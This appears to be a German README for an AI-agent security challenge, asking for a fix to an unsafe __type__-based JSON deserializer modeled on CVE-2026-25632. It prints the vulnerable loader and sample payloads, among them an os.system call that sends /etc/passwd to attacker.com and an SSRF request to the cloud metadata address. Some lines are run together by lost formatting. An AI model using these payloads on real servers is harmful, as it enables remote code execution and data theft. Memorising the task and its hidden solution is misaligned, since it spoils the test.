
CVE-2026-25632 — Behebung unsicherer JSON-Deserialisierung, die zu Remote-Codeausführung führt
Inspiriert von einer echten Sicherheitslücke aus dem Jahr 2026 (CVSS 10.0, aktiv ausgenutzt)
Grundlage: CVE-2026-25632 — Remote Code Execution durch unsichere,__type__-gesteuerte JSON-Deserialisierung, entdeckt in der REST-API der EPyT-Flow-Wassernetzsimulation und Anfang 2026 öffentlich offengelegt.
NovaSim ist ein Python-basiertes Simulations-Framework, das eine REST-API zur Fernsteuerung wissenschaftlicher Experimente bereitstellt. Zur Unterstützung einer flexiblen Objektserialisierung über heterogene Client-Umgebungen hinweg fügte ein Entwickler einen benutzerdefinierten JSON-Loader hinzu, der ein spezielles Feld __type__ erkennt und die referenzierte Python-Klasse mithilfe von importlib dynamisch importiert und instanziiert.
Dieses Muster wurde 2026 als kritische Remote-Code-Execution-Sicherheitslücke (RCE) in einem bedeutenden Open-Source-Projekt offengelegt. Sicherheitsforscher stellten fest, dass ein Angreifer, der den JSON-Body kontrolliert, eine Gadget-Chain konstruieren kann, die auf beliebige aufrufbare Objekte der Python-Standardbibliothek abzielt – darunter subprocess.Popen, , und über 25 SSRF-Gadgets – und damit mit einer einzigen HTTP-Anfrage die vollständige Kompromittierung des Servers erreicht, .
os.systemevalSie erhalten die verwundbare Version von src/solution.py, die exakt das unsichere Deserialisierungsmuster enthält.
Ihr Ziel: Beheben Sie die Sicherheitslücke in DeserializationService.load_from_json(), sodass:
SecurityError auslöst.__type__ keinen beliebigen Modulimport oder keine beliebige Klasseninstanziierung mehr ermöglicht.__type__-freies JSON) weiterhin normal geladen werden.# DANGEROUS — CVE-2026-25632 pattern
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # attacker-controlled!
cls = getattr(module, class_name) # attacker-controlled!
return cls(**data.get("args", {})) # arbitrary code execution!
Ein Angreifer sendet eine POST-Anfrage mit einem manipulierten JSON-Body:
Vektor 1 — Direkte RCE über subprocess:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
Vektor 2 — RCE über os.system:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
Vektor 3 — SSRF über urllib.request.urlopen:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
Sicherheitsforscher dokumentierten 12 direkte RCE-Gadgets und 25 SSRF-Gadgets, die auf diese Weise allein über die Python-Standardbibliothek erreichbar sind.
Die folgenden – und nur die folgenden – Simulationsobjekttypen dürfen über __type__ deserialisiert werden:
__type__-Wert | Python-Klasse |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
Jeder andere __type__-Wert MUSS sofort eine SecurityError auslösen, bevor ein Import oder eine Instanziierung erfolgt.
JSON-Objekte, die an DeserializationService.load_from_json(raw: str) -> dict | SimObject übergeben werden
__type__-Schlüssel enthält: dict (geparstes JSON) zurückgeben.__type__ enthält: die entsprechende Simulationsobjektinstanz zurückgeben.__type__ enthält: SecurityError mit der Meldung "Blocked unsafe type: <type_value>" auslösen.ValueError mit der Meldung "Invalid JSON payload" auslösen.| Szenario | Erwartetes Verhalten |
|---|---|
__type__ fehlt | Als einfaches dict parsen und zurückgeben |
__type__ = "simulation.Sensor" | Sensor(**args) instanziieren |
__type__ = "subprocess.Popen" | SecurityError auslösen |
__type__ = "os.system" | SecurityError auslösen |
__type__ = "__builtins__.eval" | SecurityError auslösen |
__type__ = "" (leere Zeichenkette) | SecurityError auslösen |
__type__ = eine Liste oder Ganzzahl | SecurityError auslösen (ungültiges Typfeld) |
| Fehlerhafter JSON-String | ValueError auslösen |
| Zusätzliche unbekannte Felder in gültigem Objekt | Akzeptiert, werden als Kwargs an den Konstruktor übergeben |
challenge-cve-2026-25632/
├── README.md <- You are here
├── Dockerfile <- Deterministic build environment
├── src/
│ ├── solution.py <- BUGGY starter code (your target)
│ ├── solution_fixed.py <- Reference solution (hidden from agent)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- Allowlisted simulation model classes
└── tests/
└── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed)
Der Fix muss ALLE der folgenden Punkte erfüllen: